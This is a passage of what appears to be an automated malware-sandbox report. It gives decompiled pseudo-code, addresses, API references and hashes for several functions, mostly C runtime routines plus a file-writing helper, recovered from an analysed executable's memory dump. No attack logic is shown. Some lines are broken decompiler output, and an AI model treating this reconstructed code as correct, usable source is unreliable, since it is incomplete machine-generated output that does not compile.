								 *((intOrPtr*)(_t112 + 0x14)) =  *((intOrPtr*)(_t132 + 0x14));
								 *((intOrPtr*)(_t132 + 0x14)) = 0xf;
								 *((intOrPtr*)(_t132 + 0x10)) = 0;
								 *_t132 = 0;
							}
							goto L36;
						}
						_t123 = 0;
						goto L18;
						L36:
						 *((intOrPtr*)(_t136 + 4)) =  *((intOrPtr*)(_t136 + 4)) + 0x18;
						_v8 = 1;
						if(_v36 >= 0x10) {
							L00422587(_v56);
							_t139 = _t139 + 4;
						}
						_t89 =  >=  ? _a28 :  &_a28;
						_push( >=  ? _a28 :  &_a28);
						_push(0);
						_t82 = E00421B3B();
						_t129 = _t82;
						_t139 = _t139 + 8;
					} while (_t129 != 0);
					goto L39;
				}
				_t132 = _t82;
				if(_t82 == _t112) {
					L9:
					_t82 = L00422587(_t82);
					_t139 = _t139 + 4;
					goto L10;
				} else {
					do {
						if( *((intOrPtr*)(_t132 + 0x14)) >= 0x10) {
							L00422587( *_t132);
							_t139 = _t139 + 4;
						}
						 *((intOrPtr*)(_t132 + 0x14)) = 0xf;
						 *((intOrPtr*)(_t132 + 0x10)) = 0;
						 *_t132 = 0;
						_t132 = _t132 + 0x18;
					} while (_t132 != _t112);
					_t82 = _v20;
					goto L9;
				}
			}

0x0040ecb3
0x0040ecb5
0x0040ecc0
0x0040ecc1
0x0040ecc8
0x0040eccd
0x0040ecce
0x0040ecd0
0x0040ecd7
0x0040ecd9
0x0040ecdb
0x0040ece3
0x0040ece5
0x0040ece7
0x0040ece9
0x0040ecec
0x0040ecf3
0x0040ecf6
0x0040ecf6
0x0040ecfd
0x0040ed03
0x0040ed44
0x0040ed48
0x0040eefc
0x0040ef00
0x0040ef05
0x0040ef0a
0x0040ef0a
0x0040ef11
0x0040ef18
0x0040ef1f
0x0040ef23
0x0040ef28
0x0040ef2d
0x0040ef35
0x0040ef40
0x0040ef40
0x0040ed58
0x0040ed60
0x0040ed61
0x0040ed65
0x0040ed66
0x0040ed6b
0x0040ed6d
0x0040ed72
0x00000000
0x00000000
0x0040ed80
0x0040ed83
0x0040ed8a
0x0040ed91
0x0040ed95
0x0040ed9b
0x0040ed9d
0x0040ed9d
0x0040eda0
0x0040eda0
0x0040eda2
0x0040eda3
0x0040eda7
0x0040eda9
0x0040eda9
0x0040edab
0x0040edae
0x0040edb3
0x0040edba
0x0040edbf
0x0040ee58
0x0040ee5b
0x0040ee60
0x0040ee60
0x0040ee65
0x0040ee6a
0x0040ee6c
0x0040ee73
0x0040ee7a
0x0040ee81
0x0040ee9c
0x0040ee9e
0x0040ee83
0x0040ee86
0x0040ee87
0x0040ee8f
0x0040ee94
0x0040ee94
0x0040ee87
0x0040eea8
0x0040eeae
0x0040eeb1
0x0040eeb8
0x0040eebf
0x0040eebf
0x00000000
0x0040ee6a
0x0040edc5
0x0040edc7
0x0040edcc
0x00000000
0x00000000
0x0040edd2
0x0040ede3
0x0040ede8
0x0040eded
0x0040eded
0x0040edf7
0x0040edfa
0x0040edff
0x0040ee05
0x0040ee0c
0x0040ee13
0x0040ee1a
0x0040ee31
0x0040ee33
0x0040ee1c
0x0040ee1f
0x0040ee20
0x0040ee25
0x0040ee2a
0x0040ee2a
0x0040ee20
0x0040ee3c
0x0040ee42
0x0040ee45
0x0040ee4c
0x0040ee53
0x0040ee53
0x00000000
0x0040edff
0x0040ed97
0x00000000
0x0040eec3
0x0040eec3
0x0040eec7
0x0040eecf
0x0040eed4
0x0040eed9
0x0040eed9
0x0040eee3
0x0040eee7
0x0040eee8
0x0040eeea
0x0040eeef
0x0040eef1
0x0040eef4
0x00000000
0x0040ed80
0x0040ed05
0x0040ed09
0x0040ed3b
0x0040ed3c
0x0040ed41
0x00000000
0x0040ed0b
0x0040ed10
0x0040ed14
0x0040ed18
0x0040ed1d
0x0040ed1d
0x0040ed20
0x0040ed27
0x0040ed2e
0x0040ed31
0x0040ed34
0x0040ed38
0x00000000
0x0040ed38

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E00422130(char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				char* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __esi;
				signed int _t74;
				char _t81;
				signed int _t86;
				signed int _t88;
				signed int _t91;
				signed int _t94;
				signed int _t97;
				signed int _t98;
				char* _t99;
				signed int _t100;
				signed int _t102;
				signed int _t103;
				signed int _t104;
				char* _t110;
				signed int _t113;
				signed int _t117;
				signed int _t119;
				void* _t120;

				_t99 = _a4;
				_t74 = _a8;
				_v8 = _t99;
				_v12 = _t74;
				if(_a12 == 0) {
					L5:
					return 0;
				}
				_t97 = _a16;
				if(_t97 == 0) {
					goto L5;
				}
				_t124 = _t99;
				if(_t99 != 0) {
					_t119 = _a20;
					__eflags = _t119;
					if(_t119 == 0) {
						L9:
						__eflags = _a8 - 0xffffffff;
						if(_a8 != 0xffffffff) {
							_t74 = E0042B420(_t99, 0, _a8);
							_t120 = _t120 + 0xc;
						}
						__eflags = _t119;
						if(__eflags == 0) {
							goto L3;
						} else {
							__eflags = _t97 - (_t74 | 0xffffffff) / _a12;
							if(__eflags > 0) {
								goto L3;
							}
							L13:
							_t117 = _a12 * _t97;
							__eflags =  *(_t119 + 0xc) & 0x0000010c;
							_t98 = _t117;
							if(( *(_t119 + 0xc) & 0x0000010c) == 0) {
								_t100 = 0x1000;
							} else {
								_t100 =  *(_t119 + 0x18);
							}
							_v16 = _t100;
							__eflags = _t117;
							if(_t117 == 0) {
								L41:
								return _a16;
							} else {
								do {
									__eflags =  *(_t119 + 0xc) & 0x0000010c;
									if(( *(_t119 + 0xc) & 0x0000010c) == 0) {
										L24:
										__eflags = _t98 - _t100;
										if(_t98 < _t100) {
											_t81 = E0042B2F2(_t98, _t119, _t119);
											__eflags = _t81 - 0xffffffff;
											if(_t81 == 0xffffffff) {
												L46:
												return (_t117 - _t98) / _a12;
											}
											_t102 = _v12;
											__eflags = _t102;
											if(_t102 == 0) {
												L42:
												__eflags = _a8 - 0xffffffff;
												if(__eflags != 0) {
													E0042B420(_a4, 0, _a8);
												}
												 *((intOrPtr*)(E00425208(__eflags))) = 0x22;
												L4:
												E004242D2();
												goto L5;
											}
											_t110 = _v8;
											 *_t110 = _t81;
											_t98 = _t98 - 1;
											_v8 = _t110 + 1;
											_t103 = _t102 - 1;
											__eflags = _t103;
											_v12 = _t103;
											_t100 =  *(_t119 + 0x18);
											_v16 = _t100;
											goto L40;
										}
										__eflags = _t100;
										if(_t100 == 0) {
											_t86 = 0x7fffffff;
											__eflags = _t98 - 0x7fffffff;
											if(_t98 <= 0x7fffffff) {
												_t86 = _t98;
											}
										} else {
											__eflags = _t98 - 0x7fffffff;
											if(_t98 <= 0x7fffffff) {
												_t44 = _t98 % _t100;
												__eflags = _t44;
												_t113 = _t44;
												_t91 = _t98;
											} else {
												_t113 = 0x7fffffff % _t100;
												_t91 = 0x7fffffff;
											}
											_t86 = _t91 - _t113;
										}
										__eflags = _t86 - _v12;
										if(_t86 > _v12) {
											goto L42;
										} else {
											_push(_t86);
											_push(_v8);
											_push(E0042816B(_t119));
											_t88 = E0042B5C4();
											_t120 = _t120 + 0xc;
											__eflags = _t88;
											if(_t88 == 0) {
												 *(_t119 + 0xc) =  *(_t119 + 0xc) | 0x00000010;
												goto L46;
											}
											__eflags = _t88 - 0xffffffff;
											if(_t88 == 0xffffffff) {
												L45:
												_t64 = _t119 + 0xc;
												 *_t64 =  *(_t119 + 0xc) | 0x00000020;
												__eflags =  *_t64;
												goto L46;
											}
											_t98 = _t98 - _t88;
											__eflags = _t98;
											L36:
											_v8 = _v8 + _t88;
											_v12 = _v12 - _t88;
											_t100 = _v16;
											goto L40;
										}
									}
									_t94 =  *(_t119 + 4);
									_v20 = _t94;
									__eflags = _t94;
									if(__eflags == 0) {
										goto L24;
									}
									if(__eflags < 0) {
										goto L45;
									}
									__eflags = _t98 - _t94;
									if(_t98 < _t94) {
										_t94 = _t98;
										_v20 = _t98;
									}
									_t104 = _v12;
									__eflags = _t94 - _t104;
									if(_t94 > _t104) {
										goto L42;
									} else {
										E00429544(_v8, _t104,  *_t119, _t94);
										_t88 = _v20;
										_t120 = _t120 + 0x10;
										 *(_t119 + 4) =  *(_t119 + 4) - _t88;
										_t98 = _t98 - _t88;
										 *_t119 =  *_t119 + _t88;
										goto L36;
									}
									L40:
									__eflags = _t98;
								} while (_t98 != 0);
								goto L41;
							}
						}
					}
					_t74 = (_t74 | 0xffffffff) / _a12;
					__eflags = _t97 - _t74;
					if(_t97 <= _t74) {
						goto L13;
					}
					goto L9;
				}
				L3:
				 *((intOrPtr*)(E00425208(_t124))) = 0x16;
				goto L4;
			}

0x0042213a
0x0042213d
0x00422143
0x00422146
0x00422149
0x00422166
0x00000000
0x00422166
0x0042214b
0x00422150
0x00000000
0x00000000
0x00422152
0x00422154
0x0042216f
0x00422172
0x00422174
0x00422182
0x00422182
0x00422186
0x0042218e
0x00422193
0x00422193
0x00422196
0x00422198
0x00000000
0x0042219a
0x004221a2
0x004221a4
0x00000000
0x00000000
0x004221a6
0x004221a9
0x004221ac
0x004221b3
0x004221b5
0x004221bc
0x004221b7
0x004221b7
0x004221b7
0x004221c1
0x004221c4
0x004221c6
0x004222af
0x00000000
0x004221cc
0x004221cc
0x004221cc
0x004221d3
0x00422214
0x00422214
0x00422216
0x00422281
0x00422287
0x0042228a
0x004222e1
0x00000000
0x004222e7
0x0042228c
0x0042228f
0x00422291
0x004222b7
0x004222b7
0x004222bb
0x004222c5
0x004222ca
0x004222d2
0x00422161
0x00422161
0x00000000
0x00422161
0x00422293
0x00422296
0x00422299
0x0042229a
0x0042229d
0x0042229d
0x0042229e
0x004222a1
0x004222a4
0x00000000
0x004222a4
0x00422218
0x0042221a
0x0042223e
0x00422243
0x00422249
0x0042224b
0x0042224b
0x0042221c
0x0042221e
0x00422224
0x00422236
0x00422236
0x00422236
0x00422238
0x00422226
0x0042222b
0x0042222d
0x0042222d
0x0042223a
0x0042223a
0x0042224d
0x00422250
0x00000000
0x00422252
0x00422252
0x00422253
0x0042225d
0x0042225e
0x00422263
0x00422266
0x00422268
0x004222ef
0x00000000
0x004222ef
0x0042226e
0x00422271
0x004222dd
0x004222dd
0x004222dd
0x004222dd
0x00000000
0x004222dd
0x00422273
0x00422273
0x00422275
0x00422275
0x00422278
0x0042227b
0x00000000
0x0042227b
0x00422250
0x004221d5
0x004221d8
0x004221db
0x004221dd
0x00000000
0x00000000
0x004221df
0x00000000
0x00000000
0x004221e5
0x004221e7
0x004221e9
0x004221eb
0x004221eb
0x004221ee
0x004221f1
0x004221f3
0x00000000
0x004221f9
0x00422200
0x00422205
0x00422208
0x0042220b
0x0042220e
0x00422210
0x00000000
0x00422210
0x004222a7
0x004222a7
0x004222a7
0x00000000
0x004221cc
0x004221c6
0x00422198
0x0042217b
0x0042217e
0x00422180
0x00000000
0x00000000
0x00000000
0x00422180
0x00422156
0x0042215b
0x00000000

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0043C677(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				intOrPtr _v12;
				int _v20;
				int _t35;
				int _t38;
				intOrPtr* _t44;
				int _t47;
				short* _t49;
				intOrPtr _t50;
				intOrPtr _t54;
				int _t55;
				int _t59;
				char* _t62;

				_t62 = _a8;
				if(_t62 == 0) {
					L5:
					return 0;
				}
				_t50 = _a12;
				if(_t50 == 0) {
					goto L5;
				}
				if( *_t62 != 0) {
					E0042019C( &_v20, _a16);
					_t35 = _v20;
					__eflags =  *(_t35 + 0xa8);
					if( *(_t35 + 0xa8) != 0) {
						_t38 = E00422BCC( *_t62 & 0x000000ff,  &_v20);
						__eflags = _t38;
						if(_t38 == 0) {
							__eflags = _a4;
							_t59 = 1;
							__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t62, 1, _a4, 0 | _a4 != 0x00000000);
							if(__eflags != 0) {
								L21:
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t31 = _t54 + 0x70;
									 *_t31 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t31;
								}
								return _t59;
							}
							L20:
							_t44 = E00425208(__eflags);
							_t59 = _t59 | 0xffffffff;
							__eflags = _t59;
							 *_t44 = 0x2a;
							goto L21;
						}
						_t59 = _v20;
						__eflags =  *(_t59 + 0x74) - 1;
						if( *(_t59 + 0x74) <= 1) {
							L15:
							__eflags = _t50 -  *(_t59 + 0x74);
							L16:
							if(__eflags < 0) {
								goto L20;
							}
							__eflags = _t62[1];
							if(__eflags == 0) {
								goto L20;
							}
							L18:
							_t59 =  *(_t59 + 0x74);
							goto L21;
						}
						__eflags = _t50 -  *(_t59 + 0x74);
						if(__eflags < 0) {
							goto L16;
						}
						__eflags = _a4;
						_t47 = MultiByteToWideChar( *(_t59 + 4), 9, _t62,  *(_t59 + 0x74), _a4, 0 | _a4 != 0x00000000);
						_t59 = _v20;
						__eflags = _t47;
						if(_t47 != 0) {
							goto L18;
						}
						goto L15;
					}
					_t55 = _a4;
					__eflags = _t55;
					if(_t55 != 0) {
						 *_t55 =  *_t62 & 0x000000ff;
					}
					_t59 = 1;
					goto L21;
				}
				_t49 = _a4;
				if(_t49 != 0) {
					 *_t49 = 0;
				}
				goto L5;
			}

0x0043c67f
0x0043c684
0x0043c69e
0x00000000
0x0043c69e
0x0043c686
0x0043c68b
0x00000000
0x00000000
0x0043c690
0x0043c6ad
0x0043c6b2
0x0043c6b5
0x0043c6bc
0x0043c6db
0x0043c6e2
0x0043c6e4
0x0043c728
0x0043c737
0x0043c745
0x0043c747
0x0043c757
0x0043c757
0x0043c75b
0x0043c75d
0x0043c760
0x0043c760
0x0043c760
0x0043c760
0x00000000
0x0043c766
0x0043c749
0x0043c749
0x0043c74e
0x0043c74e
0x0043c751
0x00000000
0x0043c751
0x0043c6e6
0x0043c6e9
0x0043c6ed
0x0043c716
0x0043c716
0x0043c719
0x0043c719
0x00000000
0x00000000
0x0043c71b
0x0043c71f
0x00000000
0x00000000
0x0043c721
0x0043c721
0x00000000
0x0043c721
0x0043c6ef
0x0043c6f2
0x00000000
0x00000000
0x0043c6f6
0x0043c709
0x0043c70f
0x0043c712
0x0043c714
0x00000000
0x00000000
0x00000000
0x0043c714
0x0043c6be
0x0043c6c1
0x0043c6c3
0x0043c6c8
0x0043c6c8
0x0043c6cd
0x00000000
0x0043c6cd
0x0043c692
0x0043c697
0x0043c69b
0x0043c69b
0x00000000

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86
filestringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E0040F0E0(intOrPtr* __ecx, char _a4, intOrPtr _a24) {
				struct _OVERLAPPED* _v8;
				intOrPtr _v16;
				char _v17;
				long _v24;
				intOrPtr _v28;
				char _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				int _t23;
				intOrPtr _t25;
				void* _t31;
				intOrPtr* _t35;
				signed int _t37;
				short* _t40;
				void* _t43;
				intOrPtr* _t46;
				CHAR* _t49;
				intOrPtr _t50;
				void* _t51;
				short* _t53;

				_push(0xffffffff);
				_push(0x4caa48);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t50;
				_t51 = _t50 - 0x20;
				_push(_t31);
				_t46 = __ecx;
				_v8 = 0;
				_t22 =  >=  ? _a4 :  &_a4;
				_t23 = CreateFileW( >=  ? _a4 :  &_a4, 0x40000000, 2, 0, 2, 0x80, 0);
				_t43 = _t23;
				if(_t43 == 0xffffffff) {
					L8:
					if(_a24 >= 8) {
						_t23 = L00422587(_a4);
					}
					 *[fs:0x0] = _v16;
					return _t23;
				}
				_t53 = _t51 - 0x18;
				_v17 = 0;
				_t40 = _t53;
				 *((intOrPtr*)(_t40 + 0x14)) = 7;
				 *(_t40 + 0x10) = 0;
				 *_t40 = 0;
				if( *_t46 != 0) {
					_t35 = _t46;
					_t31 = _t35 + 2;
					do {
						_t25 =  *_t35;
						_t35 = _t35 + 2;
					} while (_t25 != 0);
					_t37 = _t35 - _t31 >> 1;
					L6:
					_push(_t37);
					E00415C10(_t31, _t40, _t43, _t46, _t46);
					E00412840( &_v48, _v17);
					_t51 = _t53 + 0x18;
					_t49 =  >=  ? _v48 :  &_v48;
					WriteFile(_t43, _t49, lstrlenA(_t49),  &_v24, 0);
					_t23 = CloseHandle(_t43);
					if(_v28 >= 0x10) {
						_t23 = L00422587(_v48);
						_t51 = _t51 + 4;
					}
					goto L8;
				}
				_t37 = 0;
				goto L6;
			}

0x0040f0e3
0x0040f0e5
0x0040f0f0
0x0040f0f1
0x0040f0f8
0x0040f0fb
0x0040f0fe
0x0040f10b
0x0040f11b
0x0040f125
0x0040f12b
0x0040f130
0x0040f1bf
0x0040f1c3
0x0040f1c8
0x0040f1cd
0x0040f1d5
0x0040f1e0
0x0040f1e0
0x0040f136
0x0040f139
0x0040f13d
0x0040f141
0x0040f148
0x0040f14f
0x0040f155
0x0040f15b
0x0040f15d
0x0040f160
0x0040f160
0x0040f163
0x0040f166
0x0040f16d
0x0040f16f
0x0040f16f
0x0040f173
0x0040f17e
0x0040f183
0x0040f190
0x0040f1a1
0x0040f1a8
0x0040f1b2
0x0040f1b7
0x0040f1bc
0x0040f1bc
0x00000000
0x0040f1b2
0x0040f157
0x00000000

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004409B9(void* __edx, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00440F28(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00440A5D(_a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E004411DC(__edx, __esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E004410FD(__edx, __esi, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x004409bc
0x004409c2
0x00440a35
0x00000000
0x004409c9
0x004409c9
0x004409cc
0x004409e7
0x004409ea
0x00440a0a
0x00440a1c
0x004409ec
0x004409ec
0x004409ef
0x00000000
0x004409f1
0x00440a03
0x00440a03
0x004409ef
0x00440a3a
0x00440a3e
0x004409ce
0x004409e6
0x004409e6
0x004409cc

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E004127A0(WCHAR* __ecx, void* __edx) {
				int _v8;
				void* __ebx;
				void* __edi;
				short* _t12;
				void* _t17;
				char* _t18;
				int _t21;

				_t16 = __edx;
				_push(__ecx);
				_t12 = __ecx;
				_push(_t17);
				_t5 =  !=  ? 0xfde9 : 0;
				_v8 =  !=  ? 0xfde9 : 0;
				_t2 = lstrlenW(__ecx) + 1; // 0x1
				_t21 = _t2;
				_t18 = E00420C62(_t12, _t16, _t17, _t21);
				E0042B420(_t18, 0, _t21);
				WideCharToMultiByte(_v8, 0, _t12, 0xffffffff, _t18, _t21, 0, 0);
				return _t18;
			}

0x004127a0
0x004127a3
0x004127a7
0x004127b1
0x004127b2
0x004127b6
0x004127bf
0x004127bf
0x004127c9
0x004127ce
0x004127e4
0x004127f2

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00780000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00414920(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, signed int _a4, intOrPtr _a8, intOrPtr* _a12, signed int _a16, intOrPtr _a20) {
				intOrPtr _v8;
				signed int _v12;
				signed int _t128;
				intOrPtr _t134;
				intOrPtr* _t137;
				intOrPtr _t140;
				signed int _t144;
				intOrPtr* _t146;
				intOrPtr _t149;
				intOrPtr _t153;
				intOrPtr _t158;
				intOrPtr _t163;
				intOrPtr _t164;
				intOrPtr* _t165;
				intOrPtr _t167;
				intOrPtr _t171;
				intOrPtr _t191;
				signed int _t194;
				intOrPtr* _t195;
				intOrPtr _t196;
				intOrPtr* _t200;
				signed int _t203;
				intOrPtr _t204;
				intOrPtr* _t205;
				intOrPtr _t207;
				intOrPtr* _t208;
				intOrPtr* _t210;
				signed int _t212;
				intOrPtr* _t213;
				intOrPtr* _t217;
				intOrPtr* _t221;
				intOrPtr* _t223;
				intOrPtr* _t224;
				signed int _t226;
				intOrPtr* _t231;
				void* _t232;
				intOrPtr* _t235;
				intOrPtr* _t237;
				intOrPtr* _t240;
				intOrPtr* _t241;
				signed int _t244;
				signed int _t246;
				signed int _t247;
				intOrPtr* _t251;
				void* _t258;
				void* _t259;

				_t200 = __ecx;
				_t259 = _t258 - 8;
				_t251 = __ecx;
				_t244 = _a4;
				_t128 =  *(__ecx + 0x10);
				if(_t128 < _t244) {
					L86:
					_push("invalid string position");
					E0044F26C(__eflags);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					return  *((intOrPtr*)(_t200 + 0x10));
				} else {
					_t226 = _a16;
					_t200 =  *((intOrPtr*)(_a12 + 0x10));
					if(_t200 < _t226) {
						goto L86;
					} else {
						_v8 = _t128 - _t244;
						_t191 = _a8;
						_t192 =  <  ? _v8 : _t191;
						_v12 = _t200 - _t226;
						_a8 =  <  ? _v8 : _t191;
